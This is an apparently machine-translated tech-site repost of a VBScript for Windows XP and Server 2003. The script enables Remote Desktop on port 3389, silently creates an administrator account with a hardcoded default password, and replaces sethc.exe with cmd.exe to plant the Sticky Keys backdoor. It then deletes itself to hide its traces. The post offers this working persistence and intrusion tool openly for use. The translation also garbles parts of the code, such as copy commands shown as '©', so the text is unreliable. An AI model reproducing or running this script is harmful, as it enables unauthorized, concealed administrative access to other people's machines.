Shulou(Shulou.com)06/03 Report--

This article mainly introduces how to achieve xp, 2003 open 3389 + non-net create management user + Shift backdoor + self-delete vbs script, has a certain reference value, interested friends can refer to, I hope you can learn a lot after reading this article, the following let the editor take you to know about it.

The code is as follows:

On error resume next const HKEY_LOCAL_MACHINE = & H80000002 strComputer = "." Set StdOut = WScript.StdOut Set oReg=GetObject ("winmgmts: {impersonationLevel=impersonate}!\\" & _ strComputer & "\ root\ default:StdRegProv") strKeyPath = "SYSTEM\ CurrentControlSet\ Control\ Terminal Server" oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath strKeyPath = "SYSTEM\ CurrentControlSet\ Control\ Terminal Server\ Wds\ rdpwd\ Tds\ tcp" oReg.CreateKey HKEY_LOCAL_MACHINE StrKeyPath strKeyPath = "SYSTEM\ CurrentControlSet\ Control\ Terminal Server\ WinStations\ RDP-Tcp" strKeyPath = "SYSTEM\ CurrentControlSet\ Control\ Terminal Server" strValueName = "fDenyTSConnections" dwValue = 0 oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue strKeyPath = "SYSTEM\ CurrentControlSet\ Control\ Terminal Server\ Wds\ rdpwd\ Tds\ tcp" strValueName = "PortNumber" dwValue = 3389 oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName DwValue strKeyPath = "SYSTEM\ CurrentControlSet\ Control\ Terminal Server\ WinStations\ RDP-Tcp" strValueName = "PortNumber" dwValue = 3389 oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue on error resume next dim username,password:If Wscript.Arguments.Count Then:username=Wscript.Arguments (0): password=Wscript.Arguments (1): Else:username= "HackEr": password= "393214425": end if:set wsnetwork=CreateObject ("WSCRIPT.NETWORK"): os= "WinNT://" & wsnetwork.ComputerName:Set ob=GetObject (os): Set oe=GetObject (os& "/ Administrators) Group "): Set od=ob.Create (" user ", username): od.SetPassword password:od.SetInfo:Set of=GetObject (os&" / "& username&", user "): oe.Add (of.ADsPath) 'wscript.echo of.ADsPath On Error Resume Next Dim obj Success Set obj = CreateObject ("WScript.Shell") success = obj.run ("cmd / c takeown / f% SystemRoot%\ system32\ sethc.exe&echo y | cacls% SystemRoot%\ system32\ sethc.exe / G% USERNAME%:F ©% SystemRoot%\ system32\ cmd.exe% SystemRoot%\ system32\ acmd.exe ©% SystemRoot%\ system32\ sethc.exe% SystemRoot%\ system32\ asethc.exe&del% SystemRoot%\ system32\ sethc.exe&ren% SystemRoot%\ system32\ acmd.exe sethc.exe", 0 True) CreateObject ("Scripting.FileSystemObject") .DeleteFile (WScript.ScriptName) Thank you for reading this article carefully I hope the article "how to achieve xp, 2003 open 3389 + non-net creation management user + Shift backdoor + self-deleted vbs script" shared by the editor is helpful to everyone. At the same time, I also hope that you can support us and pay attention to the industry information channel. More related knowledge is waiting for you to learn!

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.